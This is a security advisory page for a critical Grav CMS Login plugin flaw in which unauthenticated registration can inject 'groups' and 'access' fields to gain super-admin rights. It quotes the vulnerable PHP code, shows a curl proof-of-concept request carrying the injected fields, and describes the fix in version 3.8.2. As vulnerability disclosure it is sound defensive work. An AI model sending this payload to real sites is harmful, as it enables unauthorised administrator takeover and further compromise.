GHSA-pxm6-mhxr-q4mj

Suggest an improvement
Source
https://github.com/advisories/GHSA-pxm6-mhxr-q4mj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pxm6-mhxr-q4mj/GHSA-pxm6-mhxr-q4mj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-pxm6-mhxr-q4mj
Aliases
Related
Published
2026-05-05T21:26:06Z
Modified
2026-09-10T03:51:06Z
Severity
  • 9.4 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L CVSS Calculator
Summary
Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access
Details

Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access

Summary

The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.

This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.

Affected Component

  • File: user/plugins/login/classes/Login.php, lines 246-306
  • Method: Login::register()
  • Validation: Login::validateField(), lines 363-432
  • Plugin: Login Plugin 3.8.0
  • Grav: 1.8.0-beta.29

Root Cause

In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:

// Line 254-260
if (!isset($data['groups'])) {
    $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
    if (count($groups) > 0) {
        $data['groups'] = $groups;
    }
}

// Line 262-267
if (!isset($data['access'])) {
    $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
    if (count($access) > 0) {
        $data['access']['site'] = $access;
    }
}

If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.

Later (lines 298-303), these values are assigned directly to the user object:

if (isset($data['groups'])) {
    $user->groups = $data['groups'];  // attacker-controlled
}
if (isset($data['access'])) {
    $user->access = $data['access'];  // attacker-controlled
}
$user->save();

The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.

Precondition

Registration must be enabled with groups and/or access in the configured allowed fields:

# user/config/plugins/login.yaml
user_registration:
  enabled: true
  fields:
    - username
    - password
    - email
    - fullname
    - groups    # ← enables the attack
    - access    # ← enables the attack

This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.

Proof of Concept

Malicious registration request (unauthenticated):

curl -X POST "${TARGET}/user_register" \
  --data-urlencode "data[username]=attacker" \
  --data-urlencode "data[password1]=Str0ngP@ss!" \
  --data-urlencode "data[password2]=Str0ngP@ss!" \
  --data-urlencode "data[email]=attacker@evil.com" \
  --data-urlencode "data[fullname]=Attacker" \
  --data-urlencode "data[groups][]=admins" \
  --data-urlencode "data[access][admin][login]=true" \
  --data-urlencode "data[access][admin][super]=true" \
  --data-urlencode "data[access][site][login]=true" \
  --data-urlencode "form-nonce=${FORM_NONCE}" \
  --data-urlencode "__form-name__=user_register" \
  --data-urlencode "__unique_form_id__=${FORM_UID}"

Resulting account file (user/accounts/attacker.yaml):

email: attacker@evil.com
fullname: Attacker
groups:
  - admins
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: ...
state: enabled

The attacker can then log into /admin with full super-admin privileges.

Impact

  • Severity: Critical (when precondition is met)
  • Vector: Unauthenticated → Super Admin
  • Escalation: Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload
  • Precondition: Registration enabled with groups or access in allowed fields — a configuration the admin UI permits without warning

Environment

  • Grav Core: 1.8.0-beta.29
  • Login Plugin: 3.8.0
  • PHP: 8.4.11

Credits

Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/


Maintainer note — fix applied (2026-04-24)

Fixed in grav-plugin-login 3.8.2 (commit 3d419a0). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's blueprints.yaml, so sites running admin2 with Grav 2.0.0-beta.2 pick the fix up automatically.

What changed: the registration form handler now explicitly skips the groups and access privilege fields in the per-field input loop — even if an administrator added them to user_registration.fields. A warning is logged on any attempted injection. Server-side default_values, invitations, and the user_registration.{groups,access} config remain the sole sources of those values.

Files:

  • login.php — form handler privilege-field strip.
Database specific
{
    "cwe_ids":  [
        "CWE-20"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-05-05T21:26:06Z",
    "nvd_published_at":  "2026-05-11T16:17:34Z",
    "severity":  "CRITICAL"
}
References

Affected packages

Packagist / getgrav/grav

Package

Name
getgrav/grav
Purl
pkg:composer/getgrav/grav

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2.0.0-beta.2

Affected versions

0.*
0.8.0
0.9.0
0.9.1
0.9.2
0.9.3
0.9.4
0.9.5
0.9.6
0.9.7
0.9.8
0.9.9
0.9.10
0.9.11
0.9.12
0.9.13
0.9.14
0.9.15
0.9.16
0.9.17
0.9.18
0.9.19
0.9.20
0.9.21
0.9.22
0.9.23
0.9.24
0.9.25
0.9.26
0.9.27
0.9.28
0.9.29
0.9.30
0.9.31
0.9.32
0.9.33
0.9.34
0.9.35
0.9.36
0.9.37
0.9.38
0.9.39
0.9.40
0.9.41
0.9.42
0.9.43
0.9.44
0.9.45
1.*
1.0.0-rc.1
1.0.0-rc.2
1.0.0-rc.3
1.0.0-rc.4
1.0.0-rc.5
1.0.0-rc.6
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.0.10
1.1.0-beta.1
1.1.0-beta.2
1.1.0-beta.3
1.1.0-beta.4
1.1.0-beta.5
1.1.0-rc.1
1.1.0-rc.2
1.1.0-rc.3
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.1.8
1.1.9-rc.1
1.1.9-rc.2
1.1.9-rc.3
1.1.9
1.1.10
1.1.11
1.1.12
1.1.13
1.1.14
1.1.15
1.1.16
1.1.17
1.2.0-rc.1
1.2.0-rc.2
1.2.0-rc.3
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.3.0-rc.1
1.3.0-rc.2
1.3.0-rc.3
1.3.0-rc.4
1.3.0-rc.5
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.3.6
1.3.7
1.3.8
1.3.9
1.3.10
1.4.0-beta.1
1.4.0-beta.2
1.4.0-beta.3
1.4.0-rc.1
1.4.0-rc.2
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.5.0-beta.1
1.5.0-beta.2
1.5.0-rc.1
1.5.0
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.5.7
1.5.8
1.5.9
1.5.10
1.6.0-beta.1
1.6.0-beta.2
1.6.0-beta.3
1.6.0-beta.4
1.6.0-beta.5
1.6.0-beta.6
1.6.0-beta.7
1.6.0-beta.8
1.6.0-rc.1
1.6.0-rc.2
1.6.0-rc.3
1.6.0-rc.4
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9
1.6.10
1.6.11
1.6.12
1.6.13
1.6.14
1.6.15
1.6.16
1.6.17
1.6.18
1.6.19
1.6.20
1.6.21
1.6.22
1.6.23
1.6.24
1.6.25
1.6.26
1.6.27
1.6.28
1.6.29
1.6.30
1.6.31
1.7.0-beta.1
1.7.0-beta.2
1.7.0-beta.3
1.7.0-beta.4
1.7.0-beta.5
1.7.0-beta.6
1.7.0-beta.7
1.7.0-beta.8
1.7.0-beta.9
1.7.0-beta.10
1.7.0-rc.1
1.7.0-rc.2
1.7.0-rc.3
1.7.0-rc.4
1.7.0-rc.5
1.7.0-rc.6
1.7.0-rc.7
1.7.0-rc.8
1.7.0-rc.9
1.7.0-rc.10
1.7.0-rc.11
1.7.0-rc.12
1.7.0-rc.13
1.7.0-rc.14
1.7.0-rc.15
1.7.0-rc.16
1.7.0-rc.17
1.7.0-rc.18
1.7.0-rc.19
1.7.0-rc.20
1.7.0
1.7.1
1.7.3
1.7.4
1.7.5
1.7.6
1.7.7
1.7.8
1.7.9
1.7.10
1.7.12
1.7.13
1.7.14
1.7.15
1.7.16
1.7.17
1.7.18
1.7.19
1.7.20
1.7.21
1.7.22
1.7.23
1.7.24
1.7.25
1.7.26
1.7.26.1
1.7.27
1.7.27.1
1.7.28
1.7.29
1.7.29.1
1.7.30
1.7.31
1.7.32
1.7.33
1.7.34
1.7.35
1.7.36
1.7.37
1.7.37.1
1.7.38
1.7.39
1.7.39.1
1.7.39.2
1.7.39.3
1.7.39.4
1.7.40
1.7.41
1.7.41.1
1.7.41.2
1.7.42
1.7.42.1
1.7.42.2
1.7.42.3
1.7.43
1.7.44
1.7.45
1.7.46
1.7.47
1.7.48
1.7.49
1.7.49.1
1.7.49.2
1.7.49.3
1.7.49.4
1.7.49.5
1.7.51
1.7.52
1.7.53
1.7.53.1
1.7.53.2
1.7.53.3
1.8.0-beta.1
1.8.0-beta.2
1.8.0-beta.3
1.8.0-beta.4
1.8.0-beta.5
1.8.0-beta.6
1.8.0-beta.7
1.8.0-beta.8
1.8.0-beta.9
1.8.0-beta.10
1.8.0-beta.11
1.8.0-beta.12
1.8.0-beta.13
1.8.0-beta.14
1.8.0-beta.15
1.8.0-beta.16
1.8.0-beta.17
1.8.0-beta.18
1.8.0-beta.19
1.8.0-beta.20
1.8.0-beta.21
1.8.0-beta.22
1.8.0-beta.23
1.8.0-beta.24
1.8.0-beta.25
1.8.0-beta.26
1.8.0-beta.27
1.8.0-beta.28
1.8.0-beta.29
2.*
2.0.0-beta.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-pxm6-mhxr-q4mj/GHSA-pxm6-mhxr-q4mj.json"